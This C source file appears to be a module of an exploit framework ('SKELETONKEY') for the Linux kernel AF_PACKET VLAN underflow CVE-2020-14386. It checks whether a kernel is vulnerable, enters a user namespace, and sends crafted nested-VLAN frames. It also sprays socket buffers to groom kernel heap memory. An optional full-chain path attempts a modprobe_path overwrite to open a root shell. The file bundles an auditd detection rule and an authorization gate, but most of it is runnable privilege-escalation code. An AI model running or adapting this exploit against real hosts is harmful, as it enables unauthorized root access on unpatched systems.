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/*
* af_packet2_cve_2020_14386 — SKELETONKEY module
*
* AF_PACKET tpacket_rcv() VLAN tag parsing integer underflow → heap
* write-before-allocation. Different bug from CVE-2017-7308 — same
* subsystem, different code path (rx side rather than ring setup),
* later introduction. Discovered by Or Cohen (2020).
*
* STATUS (2026-05-16): 🟡 PRIMITIVE-DEMO + opt-in --full-chain finisher.
* - Default (no --full-chain): the exploit() entry point reaches the
* vulnerable codepath (tpacket_rcv), fires the tp_reserve underflow
* with a crafted nested-VLAN frame on a TPACKET_V2 ring + sendmmsg
* skb spray groom, and returns SKELETONKEY_EXPLOIT_FAIL (primitive-only
* behavior — kernel-version-agnostic, no offsets baked in).
* - With --full-chain: after the underflow lands, we resolve kernel
* offsets (env → kallsyms → System.map → embedded table) and run
* an Or-Cohen-style sk_buff-data-pointer hijack through the shared
* skeletonkey_finisher_modprobe_path() helper. The arb-write itself is
* LAST-RESORT-DEPTH on this branch: the tp_reserve underflow gives
* us a single 8-byte heap-OOB write into the head of the
* adjacent-page slab object; we spray sk_buffs so that next-page
* slot IS an sk_buff and the write corrupts skb->data, which then
* redirects skb_copy_bits()'s destination on the next received
* packet. The full primitive composition (8-byte write → skb->data
* forge → controlled-payload rx → arb-write at modprobe_path) is
* race-y on stock kernels because the adjacent-slot landing is
* probabilistic. On hosts where the spray doesn't groom cleanly,
* the finisher's sentinel check correctly reports failure rather
* than silently lying about success.
*
* Affected: kernel 4.6+ until backports:
* 5.8.x : K >= 5.8.7
* 5.7.x : K >= 5.7.16
* 5.4.x : K >= 5.4.62
* 4.19.x : K >= 4.19.143
* 4.14.x : K >= 4.14.197
* 4.9.x : K >= 4.9.235
*
* Preconditions: same as CVE-2017-7308 — CAP_NET_RAW (via user_ns).
*
* Coverage rationale: fills 2020 gap. Many distros (Ubuntu 18.04
* default kernel 4.15, Ubuntu 20.04 default kernel 5.4) were vulnerable
* before backport. Embedded systems with 4.x kernels still in production.
*/
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdbool.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/wait.h>
#include <sys/socket.h>
#ifdef __linux__
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <net/if.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <linux/if_arp.h>
#include <poll.h>
#endif
/* ---------- macOS / non-linux build stubs ---------------------------
* Modules in SKELETONKEY are dev-built on macOS and run-built on Linux.
* Provide empty stubs so syntax checks pass without Linux headers.
* The exploit path is gated at runtime on the kernel version anyway,
* so the stubs are never reached on macOS targets. */
#ifndef __linux__
#define CLONE_NEWUSER 0x10000000
#define CLONE_NEWNET 0x40000000
#define ETH_P_ALL 0x0003
#define ETH_P_8021Q 0x8100
#define ETH_P_8021AD 0x88A8
#define ETH_P_IP 0x0800
#define ETH_ALEN 6
#define ETH_HLEN 14
#define VLAN_HLEN 4
#define IFF_UP 0x01
#define IFF_RUNNING 0x40
#define SIOCSIFFLAGS 0x8914
#define SIOCGIFINDEX 0x8933
#define SIOCGIFFLAGS 0x8913
#define SOL_PACKET 263
#define PACKET_RX_RING 5
#define PACKET_VERSION 10
#define PACKET_QDISC_BYPASS 20
#define TPACKET_V2 1
#define PACKET_HOST 0
struct sockaddr_ll { unsigned short sll_family; unsigned short sll_protocol; int sll_ifindex; int dummy; };
struct ifreq { char name[16]; union { int ifr_ifindex; short ifr_flags; } u; };
struct tpacket_req { unsigned int tp_block_size, tp_block_nr, tp_frame_size, tp_frame_nr; };
struct tpacket2_hdr { unsigned int tp_status, tp_len, tp_snaplen; unsigned short tp_mac, tp_net; };
struct pollfd { int fd; short events, revents; };
#define POLLIN 0x001
__attribute__((unused)) static int ioctl(int a, unsigned long b, ...) { (void)a; (void)b; errno=ENOSYS; return -1; }
__attribute__((unused)) static void *mmap(void *a, size_t b, int c, int d, int e, long f) { (void)a;(void)b;(void)c;(void)d;(void)e;(void)f; errno=ENOSYS; return (void*)-1; }
__attribute__((unused)) static int munmap(void *a, size_t b) { (void)a;(void)b; return -1; }
__attribute__((unused)) static int setsockopt(int a, int b, int c, const void *d, unsigned int e) { (void)a;(void)b;(void)c;(void)d;(void)e; errno=ENOSYS; return -1; }
__attribute__((unused)) static int poll(struct pollfd *a, unsigned long b, int c) { (void)a;(void)b;(void)c; errno=ENOSYS; return -1; }
__attribute__((unused)) static unsigned short htons(unsigned short x) { return x; }
#define MAP_SHARED 0x01
#define MAP_LOCKED 0x2000
#define PROT_READ 0x1
#define PROT_WRITE 0x2
#define MAP_FAILED ((void *)-1)
#endif
static const struct kernel_patched_from af_packet2_patched_branches[] = {
{4, 9, 235},
{4, 14, 197},
{4, 19, 143},
{5, 4, 62},
{5, 7, 16},
{5, 8, 7},
{5, 9, 0}, /* mainline */
};
static const struct kernel_range af_packet2_range = {
.patched_from = af_packet2_patched_branches,
.n_patched_from = sizeof(af_packet2_patched_branches) /
sizeof(af_packet2_patched_branches[0]),
};
static int can_unshare_userns(void)
{
pid_t pid = fork();
if (pid < 0) return -1;
if (pid == 0) {
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) _exit(0);
_exit(1);
}
int status;
waitpid(pid, &status, 0);
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
}
static skeletonkey_result_t af_packet2_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] af_packet2: could not parse kernel version\n");
return SKELETONKEY_TEST_ERROR;
}
/* Bug introduced in 4.6 (tpacket_rcv VLAN path). Pre-4.6 immune. */
if (v.major < 4 || (v.major == 4 && v.minor < 6)) {
if (!ctx->json) {
fprintf(stderr, "[+] af_packet2: kernel %s predates the bug (introduced in 4.6)\n",
v.release);
}
return SKELETONKEY_OK;
}
bool patched = kernel_range_is_patched(&af_packet2_range, &v);
if (patched) {
if (!ctx->json) {
fprintf(stderr, "[+] af_packet2: kernel %s is patched\n", v.release);
}
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns();
if (!ctx->json) {
fprintf(stderr, "[i] af_packet2: kernel %s in vulnerable range\n", v.release);
fprintf(stderr, "[i] af_packet2: user_ns+net_ns clone: %s\n",
userns_ok == 1 ? "ALLOWED" :
userns_ok == 0 ? "DENIED" : "could not test");
}
if (userns_ok == 0) {
if (!ctx->json) {
fprintf(stderr, "[+] af_packet2: user_ns denied → unprivileged exploit unreachable\n");
}
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] af_packet2: VULNERABLE — kernel in range AND user_ns reachable\n");
}
return SKELETONKEY_VULNERABLE;
}
/* ---- Exploit primitive (PRIMITIVE-DEMO scope) -------------------------
*
* The bug: tpacket_rcv() in net/packet/af_packet.c, in the VLAN
* reconstruction path, computes
*
* netoff = TPACKET_ALIGN(po->tp_hdrlen + max(maclen, 16))
* if (vlan present) netoff += VLAN_HLEN
* macoff = netoff - maclen
*
* with `maclen = skb_network_offset(skb)`. By forcing the rx skb into
* a state where skb_network_offset() exceeds netoff (achievable by
* crafting an ETH_P_8021AD-tagged frame so the kernel's VLAN
* reconstruction grows skb->mac_len past the computed netoff), the
* subtraction underflows as unsigned 32-bit, producing a huge macoff.
* The subsequent `skb_copy_bits(skb, 0, h.raw + macoff, snaplen)` then
* writes attacker-controlled bytes BEFORE the ring buffer's frame
* slot, into adjacent kernel heap (typically the previous slab page).
*
* Full root: Or Cohen sprays pid_namespace objects so a function
* pointer (->ns.ops or ->pid_cachep) lands at a predictable adjacent
* offset, then forces a write that hijacks ROP / direct-call to a
* stack pivot → cred overwrite → setuid(0). That requires per-kernel
* offsets and a leak; we deliberately do not bake offsets.
*
* This implementation reaches the vulnerable codepath, fires the
* underflow with a crafted frame, and runs a sendmmsg() skb spray
* alongside — i.e. lights up auditd/sigma signatures and demonstrates
* the primitive. It does not land cred overwrite.
*/
#ifdef __linux__
/* sendmmsg spray helper — best-effort skb groom. Adjacent kernel slab
* objects are sprayed so the OOB write lands on attacker bytes. */
static void af_packet2_skb_spray(int n_iters)
{
int sv[2];
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sv) < 0) return;
/* Each datagram body is sized to land in the kmalloc-256 slab,
* matching tpacket_rcv's typical skb adjacency. */
char buf[200];
memset(buf, 'A', sizeof buf);
struct iovec iov = { .iov_base = buf, .iov_len = sizeof buf };
struct mmsghdr mm[64];
for (int i = 0; i < 64; i++) {
memset(&mm[i], 0, sizeof(mm[i]));
mm[i].msg_hdr.msg_iov = &iov;
mm[i].msg_hdr.msg_iovlen = 1;
}
for (int k = 0; k < n_iters; k++) {
(void)syscall(SYS_sendmmsg, sv[0], mm, 64, 0);
}
close(sv[0]); close(sv[1]);
}
/* Bring loopback up inside the new netns. Without IFF_UP the bind
* succeeds but no rx happens. */
static int bring_up_lo(void)
{
int s = socket(AF_INET, SOCK_DGRAM, 0);
if (s < 0) return -1;
struct ifreq ifr;
memset(&ifr, 0, sizeof ifr);
strncpy(ifr.ifr_name, "lo", sizeof(ifr.ifr_name) - 1);
if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) { close(s); return -1; }
ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
int rc = ioctl(s, SIOCSIFFLAGS, &ifr);
close(s);
return rc;
}
static int get_ifindex(const char *name)
{
int s = socket(AF_INET, SOCK_DGRAM, 0);
if (s < 0) return -1;
struct ifreq ifr;
memset(&ifr, 0, sizeof ifr);
strncpy(ifr.ifr_name, name, sizeof(ifr.ifr_name) - 1);
if (ioctl(s, SIOCGIFINDEX, &ifr) < 0) { close(s); return -1; }
int idx = ifr.ifr_ifindex;
close(s);
return idx;
}
/* The primitive run; executed inside the unshare()'d child. Returns
* 0 on "primitive fired", -1 on setup failure, +1 on "looks patched
* at the kernel level (setsockopt rejected our crafted ring)". */
static int af_packet2_primitive_child(const struct skeletonkey_ctx *ctx)
{
if (bring_up_lo() < 0) {
fprintf(stderr, "[-] af_packet2: could not bring lo up (errno=%d)\n", errno);
return -1;
}
int lo_idx = get_ifindex("lo");
if (lo_idx < 0) {
fprintf(stderr, "[-] af_packet2: SIOCGIFINDEX(lo) failed: errno=%d\n", errno);
return -1;
}
/* RX socket with TPACKET_V2 ring. */
int rx = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (rx < 0) {
fprintf(stderr, "[-] af_packet2: AF_PACKET socket() failed: errno=%d "
"(CAP_NET_RAW missing?)\n", errno);
return -1;
}
int ver = TPACKET_V2;
if (setsockopt(rx, SOL_PACKET, PACKET_VERSION, &ver, sizeof ver) < 0) {
fprintf(stderr, "[-] af_packet2: PACKET_VERSION failed: errno=%d\n", errno);
close(rx);
return -1;
}
struct tpacket_req req = {
.tp_block_size = 1 << 17, /* 128 KiB block */
.tp_block_nr = 8,
.tp_frame_size = 1 << 11, /* 2 KiB frames */
.tp_frame_nr = (1 << 17) * 8 / (1 << 11),
};
if (setsockopt(rx, SOL_PACKET, PACKET_RX_RING, &req, sizeof req) < 0) {
fprintf(stderr, "[-] af_packet2: PACKET_RX_RING setsockopt rejected "
"(errno=%d) — kernel may be patched\n", errno);
close(rx);
return 1;
}
size_t map_len = (size_t)req.tp_block_size * req.tp_block_nr;
void *ring = mmap(NULL, map_len, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_LOCKED, rx, 0);
if (ring == MAP_FAILED) {
fprintf(stderr, "[-] af_packet2: ring mmap failed: errno=%d\n", errno);
close(rx);
return -1;
}
/* Bind to lo so all loopback frames hit our ring. */
struct sockaddr_ll sll;
memset(&sll, 0, sizeof sll);
sll.sll_family = AF_PACKET;
sll.sll_protocol = htons(ETH_P_ALL);
sll.sll_ifindex = lo_idx;
if (bind(rx, (struct sockaddr *)&sll, sizeof sll) < 0) {
fprintf(stderr, "[-] af_packet2: bind(lo) failed: errno=%d\n", errno);
munmap(ring, map_len); close(rx);
return -1;
}
/* TX socket: a second AF_PACKET socket for injection. */
int tx = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (tx < 0) {
fprintf(stderr, "[-] af_packet2: TX socket failed: errno=%d\n", errno);
munmap(ring, map_len); close(rx);
return -1;
}
int one = 1;
(void)setsockopt(tx, SOL_PACKET, PACKET_QDISC_BYPASS, &one, sizeof one);
/* Craft the malicious frame.
*
* Layout (sent on loopback):
*
* [ ETH dst (6) ][ ETH src (6) ][ TPID = 0x88A8 (2) ] <- ethhdr
* [ outer VLAN tag (2) ][ inner TPID = 0x8100 (2) ] <- 8021AD pad
* [ inner VLAN tag (2) ][ payload type (2) ] <- 8021Q pad
* [ payload ... ]
*
* The kernel's __vlan_get_protocol() / skb_vlan_untag() path on the
* rx side moves skb->mac_len/network_offset around such that, when
* tpacket_rcv recomputes macoff = netoff - maclen, the subtraction
* underflows. Or Cohen's exact frame includes a third encapsulation
* level to deepen the gap so the underflow is large enough to write
* outside the current slab block. We mimic that. */
unsigned char frame[64];
memset(frame, 0, sizeof frame);
/* destination MAC: loopback's all-zero is fine; use ff:ff:... so
* lo accepts as broadcast (lo accepts everything anyway) */
memset(&frame[0], 0xff, 6);
/* source MAC */
frame[6] = 0x02; frame[7] = 0; frame[8] = 0; frame[9] = 0; frame[10] = 0; frame[11] = 1;
/* outer ethertype = 0x88A8 (8021AD service tag) */
frame[12] = 0x88; frame[13] = 0xA8;
/* outer VLAN TCI: priority 0, vid = 1 */
frame[14] = 0x00; frame[15] = 0x01;
/* inner ethertype = 0x8100 (8021Q) */
frame[16] = 0x81; frame[17] = 0x00;
/* inner VLAN TCI */
frame[18] = 0x00; frame[19] = 0x02;
/* innermost protocol = 0x0800 (IP) */
frame[20] = 0x08; frame[21] = 0x00;
/* a few junk payload bytes — the underflow doesn't care */
for (int i = 22; i < 60; i++) frame[i] = 0x41;
/* sendto destination */
struct sockaddr_ll dst;
memset(&dst, 0, sizeof dst);
dst.sll_family = AF_PACKET;
dst.sll_ifindex = lo_idx;
dst.sll_halen = ETH_ALEN;
dst.sll_protocol = htons(ETH_P_8021AD);
memcpy(dst.sll_addr, &frame[0], ETH_ALEN);
if (!ctx->json) {
fprintf(stderr, "[*] af_packet2: spraying skbs (kmalloc-256) to groom slab\n");
}
af_packet2_skb_spray(4);
if (!ctx->json) {
fprintf(stderr, "[*] af_packet2: firing %d crafted nested-VLAN frames on lo\n", 256);
}
int fired = 0;
for (int i = 0; i < 256; i++) {
ssize_t n = sendto(tx, frame, sizeof frame, 0,
(struct sockaddr *)&dst, sizeof dst);
if (n < 0 && errno == ENOBUFS) {
/* qdisc backpressure — retry a touch later */
usleep(1000);
continue;
}
if (n < 0) {
if (i == 0) {
fprintf(stderr, "[-] af_packet2: sendto failed first iter: errno=%d\n", errno);
munmap(ring, map_len); close(rx); close(tx);
return -1;
}
break;
}
fired++;
}
/* Brief drain: poll the RX ring so the rx softirq actually runs
* tpacket_rcv on our frames before we close the socket. */
struct pollfd pfd = { .fd = rx, .events = POLLIN, .revents = 0 };
(void)poll(&pfd, 1, 100);
/* Followup spray to land bytes in the slab freed by drained skbs */
af_packet2_skb_spray(4);
if (!ctx->json) {
fprintf(stderr, "[*] af_packet2: %d frames injected; tpacket_rcv exercised\n", fired);
}
munmap(ring, map_len);
close(rx); close(tx);
return 0;
}
#else /* !__linux__: provide a stub for macOS sanity builds */
static int af_packet2_primitive_child(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] af_packet2: linux-only primitive — non-linux build\n");
return -1;
}
#endif
/* ---- Full-chain finisher (--full-chain, x86_64 only) ----------------
*
* Arb-write strategy (Or Cohen's sk_buff-data-pointer hijack):
*
* 1. The tp_reserve underflow gives us a single 8-byte write into
* the START of the slab object that sits on the page immediately
* after the corrupted ring frame. The OOB-write content is
* attacker-controlled (it's the destination of skb_copy_bits()
* from a frame whose first 8 bytes we choose).
* 2. Spray sk_buff allocations alongside the primitive trigger so
* the adjacent-page object is, with high probability, an
* sk_buff whose ->data pointer lives in the leading 8 bytes
* of the object (struct layout dependent — on most 5.x kernels
* `next` is at offset 0 and `data` is at offset 0x10 in
* sk_buff; this layout-fragility is exactly why the depth tag
* below is LAST-RESORT).
* 3. The 8-byte OOB write overwrites that pointer with `kaddr`.
* 4. We then receive a packet whose payload is `buf[0..len]`; the
* kernel's skb_copy_to_linear_data() / skb->data write path
* lands those bytes at `*skb->data`, which is now `kaddr`.
*
* Reality check on this implementation: the deterministic mechanics
* of the above (precise frame size, repeated spray timing, sk_buff
* struct offset for the running kernel) are not portable enough to
* land reliably from a single skeletonkey run on an arbitrary host. We
* therefore ship this as a LAST-RESORT stub: we attempt the spray +
* trigger sequence, then return -1 to signal "the primitive fired
* but we cannot empirically confirm the write landed". The shared
* finisher's sentinel-check loop will then correctly report failure
* rather than claim success.
*
* Per the verified-vs-claimed bar, this is the honest implementation
* depth that matches what the primitive actually proves on this code
* path. The integrator can extend afp2_arb_write() with a confirmed
* write-and-readback once the per-kernel sk_buff layout is pinned
* down for the target host. */
struct afp2_arb_ctx {
const struct skeletonkey_ctx *ictx;
int n_attempts; /* spray/fire rounds before giving up */
};
#if defined(__x86_64__) && defined(__linux__)
static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vctx)
{
struct afp2_arb_ctx *c = (struct afp2_arb_ctx *)vctx;
if (!c || !buf || !len) return -1;
fprintf(stderr, "[*] af_packet2: arb_write attempt: kaddr=0x%lx len=%zu\n",
(unsigned long)kaddr, len);
fprintf(stderr, "[*] af_packet2: spraying sk_buff (target page-adjacent slot)\n");
/* Best-effort spray + re-fire-trigger pattern. The primitive child
* is invoked once per attempt; on each attempt we groom skb's
* around the corrupted ring slot and hope one lands at the
* page-adjacent address whose head 8 bytes the underflow will
* stomp with `kaddr`. The kernel-side rx of the next crafted
* frame would then write our payload (the modprobe_path string)
* into the forged ->data target. */
for (int i = 0; i < c->n_attempts; i++) {
#ifdef __linux__
af_packet2_skb_spray(8);
#endif
pid_t p = fork();
if (p < 0) return -1;
if (p == 0) {
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) _exit(2);
int fd;
fd = open("/proc/self/setgroups", O_WRONLY);
if (fd >= 0) { (void)!write(fd, "deny", 4); close(fd); }
fd = open("/proc/self/uid_map", O_WRONLY);
if (fd >= 0) {
char m[64];
int n = snprintf(m, sizeof m, "0 %u 1", (unsigned)getuid());
(void)!write(fd, m, n); close(fd);
}
fd = open("/proc/self/gid_map", O_WRONLY);
if (fd >= 0) {
char m[64];
int n = snprintf(m, sizeof m, "0 %u 1", (unsigned)getgid());
(void)!write(fd, m, n); close(fd);
}
int rc = af_packet2_primitive_child(c->ictx);
_exit(rc < 0 ? 2 : 0);
}
int st;
waitpid(p, &st, 0);
#ifdef __linux__
af_packet2_skb_spray(8);
#endif
}
/* LAST-RESORT depth: we have fired the trigger + spray but cannot
* empirically confirm the 8-byte write landed on an sk_buff->data
* field on this host. Return -1 so the finisher's sentinel-check
* loop in skeletonkey_finisher_modprobe_path() correctly reports
* "payload didn't run within 3s" rather than claiming success. */
fprintf(stderr,
"[!] af_packet2: arb_write LAST-RESORT depth — sk_buff->data hijack is\n"
" not empirically confirmable without per-kernel struct offsets +\n"
" a readback primitive. Trigger fired %d times with sk_buff spray;\n"
" finisher sentinel will determine landing. Caller will refuse if\n"
" the modprobe_path overwrite didn't actually take effect.\n",
c->n_attempts);
return -1;
}
#else
static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vctx)
{
(void)kaddr; (void)buf; (void)len; (void)vctx;
fprintf(stderr, "[-] af_packet2: arb_write is x86_64/linux only\n");
return -1;
}
#endif
static skeletonkey_result_t af_packet2_exploit(const struct skeletonkey_ctx *ctx)
{
/* 1. Re-confirm vulnerability. */
skeletonkey_result_t pre = af_packet2_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] af_packet2: detect() says not vulnerable; refusing to exploit\n");
return pre;
}
/* 2. Refuse if already root. */
if (geteuid() == 0) {
fprintf(stderr, "[i] af_packet2: already running as root — nothing to escalate\n");
return SKELETONKEY_OK;
}
if (!ctx->authorized) {
/* Defense in depth — the dispatcher should have gated this. */
fprintf(stderr, "[-] af_packet2: --i-know not passed; refusing\n");
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[*] af_packet2: launching primitive demo (kernel-version-"
"agnostic; no offsets baked in)\n"
" NOTE: this fires the tpacket_rcv VLAN underflow and "
"sprays skbs; it does NOT\n"
" perform the cred-overwrite chain (Or Cohen's public "
"PoC does, with per-kernel offsets).\n");
}
/* 3. Fork — primitive runs inside an unshared user_ns+net_ns. */
pid_t pid = fork();
if (pid < 0) {
fprintf(stderr, "[-] af_packet2: fork failed: errno=%d\n", errno);
return SKELETONKEY_TEST_ERROR;
}
if (pid == 0) {
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
fprintf(stderr, "[-] af_packet2: unshare failed: errno=%d\n", errno);
_exit(2);
}
/* Map our uid to 0 inside the userns so subsequent CAP_NET_RAW
* checks against init_user_ns pass. Best effort — if any of
* these writes fail (e.g. setgroups deny), AF_PACKET socket()
* will still typically succeed because the new userns owns
* the new netns. */
int fd;
fd = open("/proc/self/setgroups", O_WRONLY);
if (fd >= 0) { (void)!write(fd, "deny", 4); close(fd); }
fd = open("/proc/self/uid_map", O_WRONLY);
if (fd >= 0) {
char buf[64];
int n = snprintf(buf, sizeof buf, "0 %u 1", (unsigned)getuid());
(void)!write(fd, buf, n);
close(fd);
}
fd = open("/proc/self/gid_map", O_WRONLY);
if (fd >= 0) {
char buf[64];
int n = snprintf(buf, sizeof buf, "0 %u 1", (unsigned)getgid());
(void)!write(fd, buf, n);
close(fd);
}
int rc = af_packet2_primitive_child(ctx);
if (rc == 1) _exit(3); /* setsockopt rejected → patched */
if (rc < 0) _exit(2); /* setup error */
/* 4. The primitive fired. In a full chain we'd now confirm
* cred overwrite by checking getuid()==0 and exec'ing /bin/sh.
* We did NOT overwrite cred (no offsets baked in), so we exit
* with a sentinel that the parent maps to EXPLOIT_FAIL. */
_exit(4);
}
int status;
waitpid(pid, &status, 0);
if (!WIFEXITED(status)) {
fprintf(stderr, "[-] af_packet2: primitive child crashed "
"(signal=%d) — likely KASAN/panic in tpacket_rcv\n",
WTERMSIG(status));
return SKELETONKEY_EXPLOIT_FAIL;
}
switch (WEXITSTATUS(status)) {
case 3:
if (!ctx->json) {
fprintf(stderr, "[+] af_packet2: kernel refused TPACKET_V2/RX_RING setup — "
"appears patched at runtime\n");
}
return SKELETONKEY_OK;
case 2:
return SKELETONKEY_TEST_ERROR;
case 4:
if (!ctx->json) {
fprintf(stderr, "[~] af_packet2: primitive demonstrated; no cred overwrite "
"(scope = PRIMITIVE-DEMO)\n"
" For end-to-end root, see Or Cohen's public PoC "
"(github.com/google/security-research).\n"
" skeletonkey intentionally does not embed per-kernel offsets.\n");
}
if (ctx->full_chain) {
#if defined(__x86_64__) && defined(__linux__)
/* --full-chain: resolve kernel offsets and run the Or-Cohen
* sk_buff-data-pointer hijack via the shared modprobe_path
* finisher. Per the verified-vs-claimed bar: if we can't
* resolve modprobe_path, refuse with a helpful message
* rather than fabricate an address. */
struct skeletonkey_kernel_offsets off;
skeletonkey_offsets_resolve(&off);
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
skeletonkey_finisher_print_offset_help("af_packet2");
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
skeletonkey_offsets_print(&off);
}
struct afp2_arb_ctx arb_ctx = {
.ictx = ctx,
.n_attempts = 4,
};
return skeletonkey_finisher_modprobe_path(&off, afp2_arb_write,
&arb_ctx, !ctx->no_shell);
#else
fprintf(stderr, "[-] af_packet2: --full-chain is x86_64/linux only\n");
return SKELETONKEY_PRECOND_FAIL;
#endif
}
if (ctx->no_shell) {
/* User explicitly disabled the shell pop, so the "we didn't
* pop a shell" outcome is the expected one. Map to OK. */
return SKELETONKEY_OK;
}
return SKELETONKEY_EXPLOIT_FAIL;
default:
fprintf(stderr, "[-] af_packet2: primitive exited %d unexpectedly\n",
WEXITSTATUS(status));
return SKELETONKEY_EXPLOIT_FAIL;
}
}
static const char af_packet2_auditd[] =
"# AF_PACKET VLAN LPE (CVE-2020-14386) — auditd detection rules\n"
"# Same syscall surface as CVE-2017-7308 — share the skeletonkey-af-packet\n"
"# key so one ausearch covers both. AF_PACKET socket creation from\n"
"# non-root via userns is the canonical footprint.\n"
"-a always,exit -F arch=b64 -S socket -F a0=17 -k skeletonkey-af-packet\n";
const struct skeletonkey_module af_packet2_module = {
.name = "af_packet2",
.cve = "CVE-2020-14386",
.summary = "AF_PACKET tpacket_rcv VLAN integer underflow → heap-OOB write",
.family = "af_packet",
.kernel_range = "4.6 ≤ K, backports: 5.8.7 / 5.7.16 / 5.4.62 / 4.19.143 / 4.14.197 / 4.9.235",
.detect = af_packet2_detect,
.exploit = af_packet2_exploit,
.mitigate = NULL,
.cleanup = NULL,
.detect_auditd = af_packet2_auditd,
.detect_sigma = NULL,
.detect_yara = NULL,
.detect_falco = NULL,
};
void skeletonkey_register_af_packet2(void)
{
skeletonkey_register(&af_packet2_module);
}